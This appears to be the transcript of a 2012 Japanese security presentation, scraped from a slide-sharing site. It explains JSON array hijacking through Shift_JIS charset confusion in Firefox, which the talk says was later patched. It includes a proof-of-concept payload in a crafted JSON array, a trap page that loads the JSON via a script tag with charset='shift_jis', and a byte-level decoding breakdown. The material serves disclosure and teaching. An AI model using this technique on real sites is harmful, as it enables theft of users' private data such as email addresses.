1 / 12

JS Array Hijacking with MBCS encodings MBCS 文字コードを使った JS 配列の乗っ取り

JS Array Hijacking with MBCS encodings MBCS 文字コードを使った JS 配列の乗っ取り. Apr 4 2012 Yosuke HASEGAWA. JS Array Hijacking with MBCS. JSON 配列を盗み見する方法 文字コードの応用技 Mozilla Firefox 8 / MFSA2011-47 で修正済み. JS Array Hijacking with MBCS. JSON. ターゲット 機密情報を含む JS 配列 攻撃者が配列の一部をコントロールできる 例えば Web メールの新着通知など

urbain
Download Presentation

JS Array Hijacking with MBCS encodings MBCS 文字コードを使った JS 配列の乗っ取り

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. JS Array Hijackingwith MBCS encodingsMBCS文字コードを使ったJS配列の乗っ取り Apr 4 2012 Yosuke HASEGAWA

  2. JS Array Hijacking with MBCS • JSON配列を盗み見する方法 • 文字コードの応用技 • Mozilla Firefox8 / MFSA2011-47で修正済み

  3. JS Array Hijacking with MBCS JSON • ターゲット • 機密情報を含むJS配列 • 攻撃者が配列の一部をコントロールできる • 例えばWebメールの新着通知など • 配列内の他のデータも盗み見できる [ "a@example.com","b@example.jp" ]

  4. JS Array Hijacking with MBCS JSON ユーザ XHR.send(…) JSON.parse(txt) [ "a@example.com", "..." ] Web mail

  5. JS Array Hijacking with MBCS <script src=“json”> JSON HTML JSON 攻撃者 ユーザ <script src=“json”> From: "...0x82" [ "...0x82", "..." ] Web mail

  6. JS Array Hijacking with MBCS 攻撃対象のJSON (UTF-8) Content-Type: application/json [ "あ", ",alert(/", "alice", "bob", "/.source)]//" ] 攻撃者の用意した罠ページ <script src="http://example.jp/target.json" charset="shift_jis"></script>

  7. JS Array Hijacking with MBCS 攻撃対象のJSON (UTF-8) Content-Type: application/json [ "あ", ",alert(/", "alice", "bob", "/.source)]//" ] " あ " , " a l e r t ( UTF-8 22 E3 81 82 22 2C 22 61 6C 65 72 74 28 " 縺 , " a l e r t ( Shift_JIS ? [ "縺<?>, ",alert(/", "alice", "bob", "/.source)]//" ]

  8. JS Array Hijacking with MBCS 攻撃対象のJSON (UTF-8) Content-Type: application/json [ "あ", ",alert(/", "alice", "bob", "/.source)]//" ] " あ " , " a l e r t ( UTF-8 22 E3 81 82 22 2C 22 61 6C 65 72 74 28 " 縺 " , " a l e r t ( Shift_JIS ? [ "縺<?>",",alert(/","alice","bob", "/.source)]//"] 修正された挙動(IEと同じ)

  9. JS Array Hijacking with MBCS まとめ • そもそもJSONのレスポンスにcharsetつけてないのがイケてない。 • とはいえRFC4627にはJSON text SHALL be encoded in Unicode. The default encoding is UTF-8. • 攻撃可能なサイトは限定的

  10. JS Array Hijacking with MBCS • MFSA 2011-47: Potential XSS against sites using Shift-JIShttp://www.mozilla.org/security/announce/2011/mfsa2011-47.html • 690225 – Universal XSS likely with MultiByte charset (e.g. japanese sites) https://bugzilla.mozilla.org/show_bug.cgi?id=690225 だいぶ盛りすぎ! もとのタイトルは "JSON hijacking with MultiByte charset"だったのに。

  11. 質問 hasegawa@utf-8.jp hasegawa@netagent.co.jp @hasegawayosuke http://utf-8.jp/

More Related